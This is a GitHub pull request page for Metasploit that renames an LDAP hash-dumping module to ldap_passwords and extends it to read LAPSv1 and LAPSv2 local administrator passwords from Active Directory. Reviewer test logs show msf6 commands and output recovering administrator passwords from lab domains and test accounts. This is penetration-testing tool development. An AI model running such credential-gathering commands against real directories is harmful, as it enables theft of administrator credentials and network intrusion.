-
Notifications
You must be signed in to change notification settings - Fork 14.3k
Add LAPSv1 and LAPSv2 LDAP Module #20017
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add LAPSv1 and LAPSv2 LDAP Module #20017
Conversation
We're shifting the focus to password recovery but we'll still gather hashes if they're found.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Awesome work @zeroSteiner. A couple questions. Testing was as expected 👍
Testing
Open LDAP
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
LAPSv1:
msf6 auxiliary(gather/ldap_passwords) > run ldap://kerberos.issue;Administrator:[email protected]
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=kerberos,DC=issue
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=kerberos,DC=issue
[+] Credentials (password) found in ms-mcs-admpwd: Administrator:d4(Hn9qF (expires: 2026-04-18 20:12:35 UTC)
[!] No active DB -- Credential data will not be saved!
[*] Found 1 entries and 1 credentials in 'DC=kerberos,DC=issue'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
LAPSv2
msf6 auxiliary(gather/ldap_passwords) > run ldap://msf.local;Administrator:[email protected]
[+] Successfully bound to the LDAP server!
[*] Discovered base DN: DC=msf,DC=local
[*] Checking if the target LDAP server is an Active Directory Domain Controller...
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credentials (password) found in mslaps-password: Administrator:n7.1&+#xrp3JuV (expires: 2025-05-29 04:24:40 UTC)
[!] No active DB -- Credential data will not be saved!
[*] Found 1 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
a748d36
to
ea19e12
Compare
ea19e12
to
2fdb261
Compare
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Retested with latest change and is working as expected 👍
msf6 auxiliary(gather/ldap_passwords) > run ldap://msf.local;Administrator:[email protected]
[*] Discovered base DN: DC=msf,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credentials (password) found in mslaps-password: Administrator:n7.1&+#xrp3JuV (expires: 2025-05-29 04:24:40 UTC)
[*] Found 1 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) > run ldap://kerberos.issue;Administrator:[email protected]
[*] Discovered base DN: DC=kerberos,DC=issue
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=kerberos,DC=issue
[+] Credentials (password) found in ms-mcs-admpwd: Administrator:d4(Hn9qF (expires: 2026-04-18 20:12:35 UTC)
[*] Found 1 entries and 1 credentials in 'DC=kerberos,DC=issue'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Release NotesThis updates and renames the ldap_hashdump module to ldap_passwords, extending its functionality to extract secrets used by LAPSv1 and LAPSv2 in Active Directory environments, alongside existing LDAP implementations. It simplifies usage by unifying techniques under one module and avoids requiring users to fingerprint the server type. Associated tests were also updated to include AD-specific data using Samba as a test LDAP server. |
This updates and moves the existing
ldap_hashdump
module toldap_passwords
and extends the attributes it searches for to process those used by LAPSv1 and LAPSv2 (both encrypted and unencrypted). The originalldap_hashdump
module would search for hashes and passwords from misc LDAP server implementations. The original seemed to have been inspired by CVE-2020-3952, for which there is still a dedicated module. The changers herein effectively add techniques specific to Active Directory LDAP servers. I think it makes a lot of sense to combine the functionality because:I'm open to suggestions on better names for the module. Perhaps
ldap_secrets_dump
would be more intuitive given everything it looks for.In addition to the module updates, the
ldap_spec
tests have been updated for this module. The target LDAP server that the tests use is Samba as an Active Directory Domain Controller, so it makes sense to add the new password data that is applicable in AD environments. To support that, the tests were updated to add test accounts with both LAPSv1 and LAPSv2 passwords in use. Only plaintext LAPSv2 can be used, because the encrypted variant requires the GKDI service that Samba does not support.Closes #19838
Verification
Testing requires changes from rapid7/ruby_smb#286 and rapid7/ruby_smb#284. The last commit points to a temporary branch to make testing easier. The temporary branch includes changes from both PRs.
git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
cd bitnami-docker-openldap && docker-compose up -d
ms-mcs-admpwd
attributemslaps-encryptedpassword
ormslaps-password
attribute depending on if encryption was enabledDemo